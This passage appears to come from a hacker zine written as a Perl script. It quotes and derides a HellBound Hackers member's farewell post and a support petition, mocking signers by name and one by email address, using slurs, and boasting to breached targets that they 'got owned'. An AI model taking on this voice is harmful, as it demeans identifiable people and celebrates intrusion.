coppied and room raided so they could gain extra info on me and HBH. 

My AIM / MSN conversations are being monitored and recorded, my internet
activites are being watched. 

I am almost certain HBH is only on this current server because the SS are
still investigating and allowing it to be up to gain further information
on me. 

This isnt even 1/2 of everything that is going on right now. 

It is only a matter of very short time before i get arrested, and as soon
as they have me in custody, there wont be a need for them to keep HBH
online, so it will be taken down by Secret Service. 

The True Hacker is a dying breed, and im sadened to say there is no room
left in this world for them. I mean no joke when i say my skills have
enabled me to literally save lifes all over the world. Now, my skills
mixed with my intense ethical stance on everything i do, has become a
threat to the gouvernment. 

I've seen people deface and hack hundreds of sites for no ethical reason
for the sole purpose of destroying it and attempting to become famous.
Arent these people the real threat? These people have never done a ethical
thing in their career, have never saved or even improved a single life via
their skills, yet they dont get punished? 

i cant desribe how im feeling right now. im just a kid and chances are im
going to jail. 

i love you all and will always remember you and everything everyone has
ever done for HBH. i wish everyone the very very best with whatever they
choose to do with their lifes. i only hope you can follow my example and
make me proud. 

im so very very sorry. 


________________ 


I know that the media has portrayed the image of a hacker to be malicious,
dangerous, and unethical, however, this isn't the case with many of us,
especially Mr_Cheese. As you can see from his above quote, and many other
forum posts, he is very ethical, and is a 'True Hacker', one of a dying
breed. 

The site, HellBound Hackers, is also probably going to be taken down.
We've had a bit of trouble in the past, with people questioning the
legality of our content, but let me - and this
(http://www.hellboundhackers.org/isthislegal.php) page assure you - we are
a completly legal site. We break no rules. We teach, we educate. We hope,
that someday, there will be fairness in the world, and hackers will be not
judged by the few that do wrong, but by the many who do right. 


Please, stop to think about this. Is this really fair? Should the FBI be
arresting this teenager, simply because he has been steriotyped as bad? I
don't think that's fair, and I'm sure that you'll agree too. 


Quoting a magnificant piece of text by a personal hero of mine - The
Hacker Manifesto by The Mentor - '...Yes, I am a criminal. My frime is
that of curiosity. My crime is that of judging people by what they say and
think, not what they look like. My crime is that of outsmarting you,
something that you will never forgive me for. I am a hacker, and this is
my manifesto. You may stop this individual, but you can't stop us all...
after all, we're all alike. (from
http://www.mithral.com/~beberg/manifesto.html) 

I know I can't do much about this, but quoting a fellow member on HBH -
'I'd rather die standing then live on my knees' - and that's what I'm
fighting for. This is what I, and many other members, think is right, and
we're fighting for it. How can the government want to arrest and bring
down Mr_Cheese, when he's helping the internet far more than he is hurting
it. 

I know that you're probably reading this, and thinking 'oh yeah, some
random hacker kids. They don't matter, they're hackers, they just want my
credit card number' or something. Well, I'd like to stop you there, and
correct you. I may be a 'hacker', but I am certainly not what the media
portrays me to be. I am not 'evil'. I do not hack and steal things. I do
not deface sites just for the fun of it. I do not unleash viruses on the
wild. I do not spend my spare time excecuting scripts on government
websites. Instead, I fight for things that I believe in, like this. 

So, fellow members of HellBound Hackers, any other hackers, computer
enthusiasts, programmers, security experts, and anyone else at all who
believes this is unfair: please sign this, in the hope that, although we
are just a minority, our words can be heard by the officials, and fairness
can come into place. 



And lastly, LONG LIVE HBH! 

<3 
sarah_briarmoss, on behalf of all members of HBH. 

Sincerely, 

The Undersigned 


########################################

I can't wait to see them try to use this defence when Mr_Cheese is being
prosecuted for defacing some webpage or something else as simple and
illegal.

<+Prosecutor> Mr_Cheese, so you actually admit to defacing the website in
question and writing "Mr_Cheese owns j00!!", despite your not guilty plea?
<+Mr_Cheese> YOU CAN'T JAIL ME, LONG LIVE TRUE HACKERS LONG LIVE FREEDOM

These HBH morons don't have a clue about why Mr_Cheese is being
investigated, so they assume it is just to crush powerful
anti-establishment hackers.

"The True Hacker is a dying breed, and im sadened to say there is no room
left in this world for them. I mean no joke when i say my skills have
enabled me to literally save lifes all over the world. Now, my skills
mixed with my intense ethical stance on everything i do, has become a
threat to the gouvernment."

Who decided this wanker could call himself a "True Hacker"? Where did he
save lives? How is he a threat to the government?

<@Cheney> Mr. President, the world's last True Hacker, holding out against
our anti-True Hacker campaign, has halted our path of destruction. He is
saving children in Burma, Palestine, and Nigeria. 
<@Bush> His elite hacking skills have made him a threat to this very
establishment which I rule over. He must be stopped.
<@Cheney> Yes sir. Libby, bring me Captain Beria from the Secret Service.
We have an assignment for him. 

"I've seen people deface and hack hundreds of sites for no ethical reason
for the sole purpose of destroying it and attempting to become famous.
Arent these people the real threat? These people have never done a ethical
thing in their career, have never saved or even improved a single life via
their skills, yet they dont get punished?"

Have to start somewhere. Particularly with a moron who assumes his ethics
stand true and that they thus justify his actions.

"We've had a bit of trouble in the past, with people questioning the
legality of our content, but let me - and this
(http://www.hellboundhackers.org/isthislegal.php) page assure you - we are
a completly legal site."

< Lawyer> stfu noob
< Lawyer> Whether or not the content the site hosts is illegal or not,
Mr_Cheese will be charged with anything that HE has done to break the law.
< Lawyer> The courts decide if he has broken the law, not you. 
< FBI> I'll take your gay wanker headquarters offline if I want to, I'm
hosting it out of the goodness of my heart. I was there when Mr_Cheese
needed me.

"Please, stop to think about this. Is this really fair? Should the FBI be
arresting this teenager, simply because he has been steriotyped as bad? I
don't think that's fair, and I'm sure that you'll agree too."

< FBI> Mr. President, we have found a True Hacker.
<@Bush> Popular culture has taught me that hackers undermine our country
with their anti-establishment tendencies and mirror sunglasses. Destroy him.

"Quoting a magnificant piece of text by a personal hero of mine - The
Hacker Manifesto by The Mentor [...]" (Way to misquote, bitch)

< Mr_Cheese> MY CRIME IS THAT OF LEARNING. LEARNING HOW TO HACK BY
DEFACING PEOPLE I DON'T AGREE WITH

Let's make fun of some of the morons signing this online petition, shall
we?

363.	Preston Lynch	He never did anything wrong 
< FBI> Our research disagrees.

355.	jason	knowlegde is power, if they won'tlet us learn we will
struggle to survive until we are bring about self destruction.
< FBI> TERRORIST

343.	Darren	HBH forever, if you attack one of us, all of us will
attack you!!!
< FBI> We await your onslaught.

332.	Chris	Mr_Cheese is everything I aspire to be.
< FBI> LOL LOSER

308.	Dominic It is not wise to arrest someone who is known so well. It
happened with Mandella and Mr.Cheese will be no different be careful you
might unleash the fury of a community of hackers.
< FBI> Mr_Cheese will bring the end of our era of hacker apartheid.

282.	xplicit-pki-raja@hotmail.com	free mr_cheseeeee u fukin
americans have no rites to invade policy so fuk u bush fuk u fbi fuk u SS
fuk every one who h8tz MUslimz FUk u alllllllllllllllllllll
< FBI> TERRORIST

256.	Mike	"Hi, nice site, visit my web site too!

226.	Steve	Why Break Something When It Scares You

217.	syklops This is Kevin Mitnick all over again.

173.	Simon Morris	He is a GOD. He is a good man. I will stand by him
forever
< FBI> We think you bend over for him too.

156.	47th_snake	Why do the good people always get the blame?

44.	Charles HBH is my life.

So there you go, HBH is full of morons. The site needs to die and 
anybody with a future will go somewhere else.

Guess what? The word on the street is that the entire post by Mr_Cheese
was a prank to get attention. If so, that adds an entire dimension of
"lawl" to everything.

EOHELLBOUNDHACKERS
);}




sub Contact_outro { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; say($self, <<'EOF'


The ZF03 staff can be contacted at superheroes(a)hushmail.com. Don't
bother sending to that other address; it expired. :-D

That's it for our entertainment today. We hope you enjoyed every bit of
it. As for us, we are happy to get that out and relax. We'll be chillin'
at the ZF0 mansion in Miami, hosting parties with Shaq. It's good to be on
top. We're not the only group up there; we are just doing our small part
in the losing battle to keep streets safe and alleys clear. The others
know who they are. Be sure to check out anything else interesting that
comes out.

In all seriousness we will take some time off. Then we will be keeping to
ourselves while auditing code and writing tools. We're taking it easy and
we do not want shit from anyone. You got owned, move on, we don't need the
sob story. Try to learn from the experience. This means that we will be
giving another massive headstart on the CF0.

Keep it real and keep hacking.

EOF
);}
